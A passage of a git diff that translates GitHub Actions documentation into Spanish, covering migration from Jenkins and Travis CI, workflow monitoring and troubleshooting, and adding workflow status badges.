@@ -138,15 +139,15 @@ on:
 </tr>
 </table>
 
-### Configuring environment variables in a pipeline
+### Configurar variables de ambiente en un mapa
 
 <table>
 <tr>
 <th>
-Jenkins Pipeline
+Mapa de Jenkins
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+Flujo de trabajo de {% data variables.product.prodname_actions %}
 </th>
 </tr>
 <tr>
@@ -175,15 +176,15 @@ jobs:
 </tr>
 </table>
 
-### Building from upstream projects
+### Compilar desde proyectos ascendentes
 
 <table>
 <tr>
 <th>
-Jenkins Pipeline
+Mapa de Jenkins
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+Flujo de trabajo de {% data variables.product.prodname_actions %}
 </th>
 </tr>
 <tr>
@@ -216,15 +217,15 @@ jobs:
 </tr>
 </table>
 
-### Building with multiple operating systems
+### Compilar con sistemas operativos múltiples
 
 <table>
 <tr>
 <th>
-Jenkins Pipeline
+Mapa de Jenkins
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+Flujo de trabajo de {% data variables.product.prodname_actions %}
 </th>
 </tr>
 <tr>
diff --git a/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md b/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
index 2cf18968d5..deb950c8a9 100644
--- a/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
+++ b/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from Travis CI to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Travis CI share multiple similarities, which helps make it relatively straightforward to migrate to {% data variables.product.prodname_actions %}.'
+title: Migrarse de Travis CI a GitHub Actions
+intro: '{% data variables.product.prodname_actions %} y Travis CI comparte muchas similitudes, lo cual hace que el migrarse a {% data variables.product.prodname_actions %} sea relativamente fácil.'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-travis-ci-to-github-actions
 versions:
@@ -14,57 +14,56 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from Travis CI
+shortTitle: Migrarse desde Travis CI
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide helps you migrate from Travis CI to {% data variables.product.prodname_actions %}. It compares their concepts and syntax, describes the similarities, and demonstrates their different approaches to common tasks.
+Esta guía te ayuda a migrar de Travis CI a {% data variables.product.prodname_actions %}. Aquí se comparan sus conceptos y sintaxis, se describen sus similitudes y se demuestran sus acercamientos distintos para las tareas comunes.
 
-## Before you start
+## Antes de comenzar
 
-Before starting your migration to {% data variables.product.prodname_actions %}, it would be useful to become familiar with how it works:
+Antes de que comiences tu migración a {% data variables.product.prodname_actions %}, sería útil familiarizarse con la forma en la que funciona:
 
-- For a quick example that demonstrates a {% data variables.product.prodname_actions %} job, see "[Quickstart for {% data variables.product.prodname_actions %}](/actions/quickstart)."
-- To learn the essential {% data variables.product.prodname_actions %} concepts, see "[Introduction to GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)."
+- Para encontrar un ejemplo rápido que ilustre un job de {% data variables.product.prodname_actions %}, consulta la sección "[Guía de inicio rápido para {% data variables.product.prodname_actions %}](/actions/quickstart)".
+- Para aprender los conceptos básicos de {% data variables.product.prodname_actions %}, consulta la sección "[Introducción a GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)".
 
-## Comparing job execution
+## Comparar la ejecución de jobs
 
-To give you control over when CI tasks are executed, a {% data variables.product.prodname_actions %} _workflow_ uses _jobs_ that run in parallel by default. Each job contains _steps_ that are executed in a sequence that you define. If you need to run setup and cleanup actions for a job, you can define steps in each job to perform these.
+Para darte control sobre cuándo se ejecutarán las tareas de IC, un _flujo de trabajo_ de {% data variables.product.prodname_actions %} utiliza _jobs_ que se ejecutan en paralelo predeterminadamente. Cada job contiene _pasos_ que se ejecutan en una secuencia que tú defines. Si necesitas ejecutar acciones de configuración y limpieza para un job, puedes definir pasos en cada job para que esto se lleve a cabo.
 
-## Key similarities
+## Similitudes en las claves
 
-{% data variables.product.prodname_actions %} and Travis CI share certain similarities, and understanding these ahead of time can help smooth the migration process.
+{% data variables.product.prodname_actions %} y Travis CI comparten algunas similitudes y entenderlas con anticipación puede ayudar a agilizar el proceso de migración.
 
-### Using YAML syntax
+### Utilizar la sintaxis de YAML
 
-Travis CI and {% data variables.product.prodname_actions %} both use YAML to create jobs and workflows, and these files are stored in the code's repository. For more information on how {% data variables.product.prodname_actions %} uses YAML, see ["Creating a workflow file](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)."
+Tanto Travis CI como {% data variables.product.prodname_actions %} utilizan YAML para crear jobs y flujos de trabajo y estos archivos se almacenan en el repositorio del código. Para obtener más información sobre cómo las {% data variables.product.prodname_actions %} utilizan YAML, consulta la sección "[Crear un archivo de flujo de trabajo](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)".
 
-### Custom environment variables
+### Variables de ambiente personalizadas
 
-Travis CI lets you set environment variables and share them between stages. Similarly, {% data variables.product.prodname_actions %} lets you define environment variables for a step, job, or workflow. For more information, see ["Environment variables](/actions/reference/environment-variables)."
+Travis CI te permite configurar variables de ambiente y compartirlas entre etapas. De forma similar, las {% data variables.product.prodname_actions %} te permiten definir las variables de ambiente para un paso, job o flujo de trabajo. Para obtener más información, consulta la sección "[Variables de ambiente](/actions/reference/environment-variables)".
 
-### Default environment variables
+### Variables de entorno predeterminadas
 
-Travis CI and {% data variables.product.prodname_actions %} both include default environment variables that you can use in your YAML files. For {% data variables.product.prodname_actions %}, you can see these listed in "[Default environment variables](/actions/reference/environment-variables#default-environment-variables)."
+Tanto Travis CI como {% data variables.product.prodname_actions %} incluyen variables de ambiente predeterminadas que puedes utilizar en tus archivos de YAML. En el caso de las {% data variables.product.prodname_actions %}, puedes encontrarlas listadas en la sección "[Variables de ambiente predeterminadas](/actions/reference/environment-variables#default-environment-variables)".
 
-### Parallel job processing
+### Proceso paralelo de jobs
 
-Travis CI can use `stages` to run jobs in parallel. Similarly, {% data variables.product.prodname_actions %} runs `jobs` in parallel. For more information, see "[Creating dependent jobs](/actions/learn-github-actions/managing-complex-workflows#creating-dependent-jobs)."
+Travis CI puede utilizar `stages` para ejecutar jobs en paralelo. De forma similar, las {% data variables.product.prodname_actions %} ejecutan `jobs` en paralelo. Para obtener más información, consulta la sección "[Crear jobs dependientes](/actions/learn-github-actions/managing-complex-workflows#creating-dependent-jobs)".
 
-### Status badges
+### Insignias de estado
 
-Travis CI and {% data variables.product.prodname_actions %} both support status badges, which let you indicate whether a build is passing or failing.
-For more information, see ["Adding a workflow status badge to your repository](/actions/managing-workflow-runs/adding-a-workflow-status-badge)."
+Tanto Travis CI como {% data variables.product.prodname_actions %} son compatibles con las insignias de estado, lo cual te permite indicar si una compilación pasa o falla. Para obtener más información, consulta la sección "[Agregar una insignia de estado de un flujo de trabajo a tu repositorio](/actions/managing-workflow-runs/adding-a-workflow-status-badge)".
 
-### Using a build matrix
+### Utilizar una matriz de compilaciones
 
-Travis CI and {% data variables.product.prodname_actions %} both support a build matrix, allowing you to perform testing using combinations of operating systems and software packages. For more information, see "[Using a build matrix](/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix)."
+Tanto Travis CI como {% data variables.product.prodname_actions %} son compatibles con matrices de compilación, lo cual te permite realizar pruebas utilizando combinaciones de sistemas operativos y paquetes de software. Para obtener más información, consulta "[Utilizar una matriz de compilaciones](/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix)".
 
-Below is an example comparing the syntax for each system:
+A continuación podrás encontrar un ejemplo que compara la sintaxis para cada sistema:
 
 <table>
 <tr>
@@ -100,11 +99,11 @@ jobs:
 </tr>
 </table>
 
-### Targeting specific branches
+### Apuntar a ramas específicas
 
-Travis CI and {% data variables.product.prodname_actions %} both allow you to target your CI to a specific branch. For more information, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestbranchestags)."
+Tanto Travis CI como {% data variables.product.prodname_actions %} te permiten apuntar tu IC a una rama específica. Para obtener más información, consultala sección "[Sintaxis de flujo de trabajo para GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestbranchestags)".
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table>
 <tr>
@@ -140,11 +139,11 @@ on:
 </tr>
 </table>
 
-### Checking out submodules
+### Verificar submódulos
 
-Travis CI and {% data variables.product.prodname_actions %} both allow you to control whether submodules are included in the repository clone.
+Tanto Travis CI como {% data variables.product.prodname_actions %} te permiten controlar si los submódulos se incluirán en los clones de los repositorios.
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table>
 <tr>
@@ -176,50 +175,50 @@ git:
 </tr>
 </table>
 
-### Using environment variables in a matrix
+### Utilizar variables de ambiente en una matriz
 
-Travis CI and {% data variables.product.prodname_actions %} can both add custom environment variables to a test matrix, which allows you to refer to the variable in a later step.
+Tanto {% data variables.product.prodname_actions %} como Travis CI pueden agregar variables de ambiente personalizadas a una matriz de pruebas, lo cual te permite referirte a la variable en un paso subsecuente.
 
-In {% data variables.product.prodname_actions %}, you can use the `include` key to add custom environment variables to a matrix. {% data reusables.github-actions.matrix-variable-example %}
+En {% data variables.product.prodname_actions %}, puedes utilizar la clave `include` para agregar variables de ambiente personalizadas a una matriz. {% data reusables.github-actions.matrix-variable-example %}
 
-## Key features in {% data variables.product.prodname_actions %}
+## Características clave en {% data variables.product.prodname_actions %}
 
-When migrating from Travis CI, consider the following key features in {% data variables.product.prodname_actions %}:
+Cuando te migres de Travis CI, consider las siguientes características clave en {% data variables.product.prodname_actions %}:
 
-### Storing secrets
+### Almacenar secretos
 
-{% data variables.product.prodname_actions %} allows you to store secrets and reference them in your jobs. {% data variables.product.prodname_actions %} organizations can limit which repositories can access organization secrets. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Environment protection rules can require manual approval for a workflow to access environment secrets. {% endif %}For more information, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+{% data variables.product.prodname_actions %} te permite almacenar secretos y referenciarlos en tus jobs. Las organizaciones de {% data variables.product.prodname_actions %} pueden limitar qué repositorios pueden acceder a sus secretos. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Las reglas de protección de ambiente pueden requerir aprobación manual para que un flujo de trabajo acceda a los secretos del ambiente. {% endif %}Para obtener más información, consulta la sección "[Secretos cifrados](/actions/reference/encrypted-secrets)".
 
-### Sharing files between jobs and workflows
+### Compartir archivos entre jobs y flujos de trabajo
 
-{% data variables.product.prodname_actions %} includes integrated support for artifact storage, allowing you to share files between jobs in a workflow. You can also save the resulting files and share them with other workflows. For more information, see "[Sharing data between jobs](/actions/learn-github-actions/essential-features-of-github-actions#sharing-data-between-jobs)."
+{% data variables.product.prodname_actions %} incluye compatibilidad integrada para almacenamiento de artefactos, lo cual te permite compartir archivos entre jobs en un flujo de trabajo. También puedes guardar los archivos resultantes y compartirlos con otros flujos de trabajo. Para obtener más información, consulta la sección "[Compartir datos entre jobs](/actions/learn-github-actions/essential-features-of-github-actions#sharing-data-between-jobs)".
 
-### Hosting your own runners
+### Alojar tus propios corredores
 
-If your jobs require specific hardware or software, {% data variables.product.prodname_actions %} allows you to host your own runners and send your jobs to them for processing. {% data variables.product.prodname_actions %} also lets you use policies to control how these runners are accessed, granting access at the organization or repository level. For more information, see ["Hosting your own runners](/actions/hosting-your-own-runners)."
+Si tus jobs requieren de hardware o software específico, {% data variables.product.prodname_actions %} te permite almacenar tus propios ejecutores y enviar tus jobs para que éstos los procesen. {% data variables.product.prodname_actions %} también te permite utilizar políticas para controlar cómo se accede a estos ejecutores, otorgando acceso a nivel de organización o de repositorio. Para obtener más información, consulta la sección "[Hospedar tus propios ejecutores](/actions/hosting-your-own-runners)".
 
 {% ifversion fpt or ghec %}
 
-### Concurrent jobs and execution time
+### Tiempo de ejecución y jobs simultáneos
 
-The concurrent jobs and workflow execution times in {% data variables.product.prodname_actions %} can vary depending on your {% data variables.product.company_short %} plan. For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration)."
+Los jobs simultáneos y los tiempos de ejecución de los flujos de trabajo en {% data variables.product.prodname_actions %} pueden variad dependiendo de tu plan de {% data variables.product.company_short %}. Para obtener más información, consulta la sección "[Límites de uso y administración](/actions/reference/usage-limits-billing-and-administration)".
 
 {% endif %}
 
-### Using different languages in {% data variables.product.prodname_actions %}
+### Utilizar lenguajes diferentes en {% data variables.product.prodname_actions %}
 
-When working with different languages in {% data variables.product.prodname_actions %}, you can create a step in your job to set up your language dependencies. For more information about working with a particular language, see the specific guide:
-  - [Building and testing Node.js or Python](/actions/guides/building-and-testing-nodejs-or-python)
-  - [Building and testing PowerShell](/actions/guides/building-and-testing-powershell)
-  - [Building and testing Java with Maven](/actions/guides/building-and-testing-java-with-maven)
-  - [Building and testing Java with Gradle](/actions/guides/building-and-testing-java-with-gradle)
-  - [Building and testing Java with Ant](/actions/guides/building-and-testing-java-with-ant)
+Cuando trabajas con lenguajes diferentes en {% data variables.product.prodname_actions %}, pueeds crear un paso en tu job para configurar tus dependencias de lenguaje. Para obtener más información acerca de cómo trabajar con un lenguaje en particular, consulta la guía específica:
+  - [Crear y probar Node.js o Python](/actions/guides/building-and-testing-nodejs-or-python)
+  - [Compilar y probar PowerShell](/actions/guides/building-and-testing-powershell)
+  - [Construir y probar Java con Maven](/actions/guides/building-and-testing-java-with-maven)
+  - [Construir y probar Java con Gradle](/actions/guides/building-and-testing-java-with-gradle)
+  - [Construir y probar Java con Ant](/actions/guides/building-and-testing-java-with-ant)
 
-## Executing scripts
+## Ejecutar scripts
 
-{% data variables.product.prodname_actions %} can use `run` steps to run scripts or shell commands. To use a particular shell, you can specify the `shell` type when providing the path to the script. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+{% data variables.product.prodname_actions %} puede utilizar pasos de `run` para ejecutar scripts o comandos de shell. Para utilizar un shell en particular, puedes especificar el tipo de `shell` cuando proporciones la ruta al script. Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)".
 
-For example:
+Por ejemplo:
 
 ```yaml
 steps:
@@ -228,23 +227,23 @@ steps:
     shell: bash
 ```
 
-## Error handling in {% data variables.product.prodname_actions %}
+## Manejo de errores en {% data variables.product.prodname_actions %}
 
-When migrating to {% data variables.product.prodname_actions %}, there are different approaches to error handling that you might need to be aware of.
+Cuando te migras a {% data variables.product.prodname_actions %}, hay varios acercamientos al manejo de errores que puede que necesites tener en mente.
 
-### Script error handling
+### Manejo de errores en scripts
 
-{% data variables.product.prodname_actions %} stops a job immediately if one of the steps returns an error code. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)."
+{% data variables.product.prodname_actions %} detiene un job inmediatamente si alguno de los pasos regresa un código de error. Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)".
 
-### Job error handling
+### Manejo de errores en jobs
 
-{% data variables.product.prodname_actions %} uses `if` conditionals to execute jobs or steps in certain situations. For example, you can run a step when another step results in a `failure()`. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#example-using-status-check-functions)."  You can also use [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) to prevent a workflow run from stopping when a job fails.
+{% data variables.product.prodname_actions %} utiliza condicionales de tipo `if` para ejecutar jobs o pasos en ciertas situaciones. Por ejemplo, puedes ejecutar un paso cuando otro paso da `failure()` como resultado. Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#example-using-status-check-functions)".  También puedes utilizar [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) para prevenir que una ejecución de flujo de trabajo se detenga cuando falla un job.
 
-## Migrating syntax for conditionals and expressions
+## Sintaxis de migración para condicionales y expresiones
 
-To run jobs under conditional expressions, Travis CI and {% data variables.product.prodname_actions %} share a similar `if` condition syntax. {% data variables.product.prodname_actions %} lets you use the `if` conditional to prevent a job or step from running unless a condition is met. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+Para ejecutar jobs bajo expresiones condicionales, Travis CI y {% data variables.product.prodname_actions %} comparten una sintaxis condicional de tipo `if` similar. {% data variables.product.prodname_actions %} te permite utilizar la condicional `if` para prevenir que un paso o un job se ejecuten a menos de que se cumpla con la condición. Para obtener más información, consulta la sección "[Expresiones](/actions/learn-github-actions/expressions)".
 
-This example demonstrates how an `if` conditional can control whether a step is executed:
+Este ejemplo demuestra cómo una condicional de tipo `if` puede controlar si un paso se ejecuta o no:
 
 ```yaml
 jobs:
@@ -255,11 +254,11 @@ jobs:
         if: env.str == 'ABC' && env.num == 123
 ```
 
-## Migrating phases to steps
+## Migrar las fases a pasos
 
-Where Travis CI uses _phases_ to run _steps_, {% data variables.product.prodname_actions %} has _steps_ which execute _actions_. You can find prebuilt actions in the [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), or you can create your own actions. For more information, see "[Building actions](/actions/building-actions)."
+Mientras que Travis CI utiliza _fases_ para ejecutar _pasos_, {% data variables.product.prodname_actions %} tiene _pasos_ que pueden ejecutar _acciones_. Puedes encontrar acciones preconstruidas en [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), o puedes crear tus propias acciones. Para obtener más información, consulta la sección "[Crear acciones](/actions/building-actions)".
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table>
 <tr>
@@ -301,9 +300,9 @@ jobs:
 </tr>
 </table>
 
-## Caching dependencies
+## Almacenar dependencias en caché
 
-Travis CI and {% data variables.product.prodname_actions %} let you manually cache dependencies for later reuse. This example demonstrates the cache syntax for each system.
+Travis CI y {% data variables.product.prodname_actions %} te permiten guardar dependencias en caché manualmente para reutilizarlas posteriormente. Este ejemplo ilustra la sintaxis de caché para cada sistema.
 
 <table>
 <tr>
@@ -338,15 +337,15 @@ cache: npm
 </tr>
 </table>
 
-{% data variables.product.prodname_actions %} caching is only applicable for repositories hosted on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+El almacenamiento en caché de las {% data variables.product.prodname_actions %} solo se aplica a los repositorios que se hospedan en {% data variables.product.prodname_dotcom_the_website %}. Para obtener más información, consulta la sección "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Almacenar las dependencias en caché para agilizar los flujos de trabajo</a>".
 
-## Examples of common tasks
+## Ejemplos de tareas comunes
 
-This section compares how {% data variables.product.prodname_actions %} and Travis CI perform common tasks.
+Esta sección compara cómo {% data variables.product.prodname_actions %} y Travis CI realizan tareas en común.
 
-### Configuring environment variables
+### Configurar variables de ambiente
 
-You can create custom environment variables in a {% data variables.product.prodname_actions %} job. For example:
+Puedes crear variables de ambiente personalizadas en un job de {% data variables.product.prodname_actions %}. Por ejemplo:
 
 <table>
 <tr>
@@ -354,7 +353,7 @@ You can create custom environment variables in a {% data variables.product.prodn
 Travis CI
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+Flujo de trabajo de {% data variables.product.prodname_actions %}
 </th>
 </tr>
 <tr>
@@ -379,7 +378,7 @@ jobs:
 </tr>
 </table>
 
-### Building with Node.js
+### Compilar con Node.js
 
 <table>
 <tr>
@@ -387,7 +386,7 @@ jobs:
 Travis CI
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+Flujo de trabajo de {% data variables.product.prodname_actions %}
 </th>
 </tr>
 <tr>
@@ -425,6 +424,6 @@ jobs:
 </tr>
 </table>
 
-## Next steps
+## Pasos siguientes
 
-To continue learning about the main features of  {% data variables.product.prodname_actions %}, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Para seguir aprendiendo sobre las características principales de {% data variables.product.prodname_actions %}, consulta la sección "[Aprender sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
diff --git a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
index 116c5b3072..1e98185ce1 100644
--- a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
+++ b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
@@ -1,72 +1,72 @@
 ---
-title: About monitoring and troubleshooting
-intro: 'You can use the tools in {% data variables.product.prodname_actions %} to monitor and debug your workflows.'
+title: Acerca del monitoreo y solución de problemas
+intro: 'Puedes utilizar las herramientas en las {% data variables.product.prodname_actions %} para monitorear y depurar tus flujos de trabajo.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: About monitoring and troubleshooting
+shortTitle: Acerca del monitoreo y solución de problemas
 miniTocMaxHeadingLevel: 3
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Monitoring your workflows
+## Monitorear tus flujos de trabajo
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-### Using the visualization graph
+### Utilizar la gráfica de visualización
 
-Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. For example:
+Cada ejecución de flujo de trabajo genera una gráfica en tiempo real que ilustra el progreso de la misma. Puedes utilizar esta gráfica para monitorear y depurar los flujos de trabajo. Por ejemplo:
 
-   ![Workflow graph](/assets/images/help/images/workflow-graph.png)
+   ![Gráfica del flujo de trabajo](/assets/images/help/images/workflow-graph.png)
 
-For more information, see "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)." 
+Para obtener más información, consulta la sección "[Utilizar el gráfico de visualización](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)".
 
 {% endif %}
 
-### Adding a workflow status badge
+### Agregar una insignia de estado de flujo de trabajo
 
 {% data reusables.repositories.actions-workflow-status-badge-intro %}
 
-For more information, see "[Adding a workflow status badge](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge)."
+Para obtener más información, consulta la sección "[Agregar una insignia de estado de flujo de trabajo](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge)".
 
 {% ifversion fpt or ghec %}
-### Viewing job execution time
+### Visualizar el tiempo de ejecución de un job
 
-To identify how long a job took to run, you can view its execution time. For example:
+Para identificar qué tanto tomará un job en ejecutarse, puedes ver su tiempo de ejecución. Por ejemplo:
 
-   ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png)
+   ![Enlace para los detalles de tiempo facturable y de ejecución](/assets/images/help/repository/view-run-billable-time.png)
 
-For more information, see "[Viewing job execution time](/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time)."
+Para obtener más información, consulta la sección "[Visualizar el tiempo de ejecución del job](/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time)".
 {% endif %}
 
-### Viewing workflow run history
+### Visualizar el historial de ejecución del flujo de trabajo
 
-You can view the status of each job and step in a workflow. For example:
+Puedes ver el estado de cada job y paso en un flujo de trabajo. Por ejemplo:
 
-   ![Name of workflow run](/assets/images/help/repository/run-name.png)
+   ![Nombre de la ejecución de flujo de trabajo](/assets/images/help/repository/run-name.png)
 
-For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."
+Para obtener más información, consulta la sección "[Visualizar el historial de ejecuciones de un flujo de trabajo](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)".
 
-## Troubleshooting your workflows
+## Solucionar los problemas de tus flujos de trabajo
 
-### Using workflow run logs
+### Utilizar bitácoras de ejecución de flujo de trabajo
 
-Each workflow run generates activity logs that you can view, search, and download. For example:
+Cada ejecución de flujo de trabajo genera bitácoras de actividad que puedes ver, buscar y descargar. Por ejemplo:
 
-   ![Super linter workflow results](/assets/images/help/repository/super-linter-workflow-results-updated-2.png)
+   ![Resultados del flujo de trabajo de Super linter](/assets/images/help/repository/super-linter-workflow-results-updated-2.png)
 
-For more information, see "[Using workflow run logs](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs)."
+Para obtener más información, consulta la sección "[Utilizar bitácoras de ejecución de flujos de trabajo](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs)".
 
-### Enabling debug logging
+### Habilitar registro de depuración
 
-If the workflow logs do not provide enough detail to diagnose why a workflow, job, or step is not working as expected, you can enable additional debug logging. For more information, see "[Enabling debug logging](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging)."
+Si los registros de flujo de trabajo no proporcionan suficiente detalle para diagnosticar por qué un flujo de trabajo o paso no funciona como se espera, puedes habilitar más registros de depuración. Para obtener más información, consulta la sección "[Habilitar el registro de depuración](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging)."
 
-## Monitoring and troubleshooting self-hosted runners
+## Monitorear y solucionar problemas para los ejecutores auto-hospedados
 
-If you use self-hosted runners, you can view their activity and diagnose common issues. 
+Si utilizas ejecutores auto-hospedados, puedes ver su actividad y diagnosticar problemas comunes.
 
-For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
+Para obtener más información, consulta la sección "[Monitorear y solucionar problemas de los ejecutores auto-hospedados](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)".
diff --git a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
index c55f5363fd..fc7ffc7683 100644
--- a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
+++ b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a workflow status badge
-intro: You can display a status badge in your repository to indicate the status of your workflows.
+title: Agregar una insignia de estado de flujo de trabajo
+intro: Puedes mostrar una insignia de estado en tu repositorio para indicar el estado de tus flujos de trabajo.
 redirect_from:
   - /actions/managing-workflow-runs/adding-a-workflow-status-badge
 versions:
@@ -8,7 +8,7 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Add a status badge
+shortTitle: Agregar una insignia de estado
 ---
 
 {% data reusables.actions.enterprise-beta %}
@@ -16,31 +16,31 @@ shortTitle: Add a status badge
 
 {% data reusables.repositories.actions-workflow-status-badge-intro %}
 
-You reference the workflow by the name of your workflow file.
+Referencias el flujo de trabajo por el nombre de tu archivo de flujo de trabajo.
 
 ```markdown
-![example workflow]({% ifversion fpt or ghec %}https://github.com{% else %}<HOSTNAME>{% endif %}/<OWNER>/<REPOSITORY>/actions/workflows/<WORKFLOW_FILE>/badge.svg)
+![flujo de trabajo de ejemplo]({% ifversion fpt or ghec %}https://github.com{% else %}<HOSTNAME>{% endif %}/<OWNER>/<REPOSITORY>/actions/workflows/<WORKFLOW_FILE>/badge.svg)
 ```
-## Using the workflow file name
+## Usar el nombre de archivo del flujo de trabajo
 
-This Markdown example adds a status badge for a workflow with the file path `.github/workflows/main.yml`. The `OWNER` of the repository is the `github` organization and the `REPOSITORY` name is `docs`.
+Este ejemplo de Markdown agrega una credencial de estado para un flujo de trabajo con la ruta de archivo `.github/workflows/main.yml`. El `OWNER` del repositorio es la organización `github` y el nombre del `REPOSITORY` es `docs`.
 
 ```markdown
-![example workflow](https://github.com/github/docs/actions/workflows/main.yml/badge.svg)
+![flujo de trabajo de ejemplo](https://github.com/github/docs/actions/workflows/main.yml/badge.svg)
 ```
 
-## Using the `branch` parameter
+## Utilizar el parámetro `branch`
 
-This Markdown example adds a status badge for a branch with the name `feature-1`.
+Este ejemplo de Markdown añade un distintivo de estado para una rama con el nombre `feature-1`.
 
 ```markdown
 ![example branch parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?branch=feature-1)
 ```
 
-## Using the `event` parameter
+## Utilizar el parámetro `event`
 
-This Markdown example adds a badge that displays the status of workflow runs triggered by the `pull_request` event.
+This Markdown example adds a badge that displays the status of workflow runs triggered by the `push` event, which will show the status of the build for the current state of that branch.
 
 ```markdown
-![example event parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?event=pull_request)
+![example event parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?event=push)
 ```
diff --git a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
index faede007bc..f40c4a4005 100644
--- a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
+++ b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling debug logging
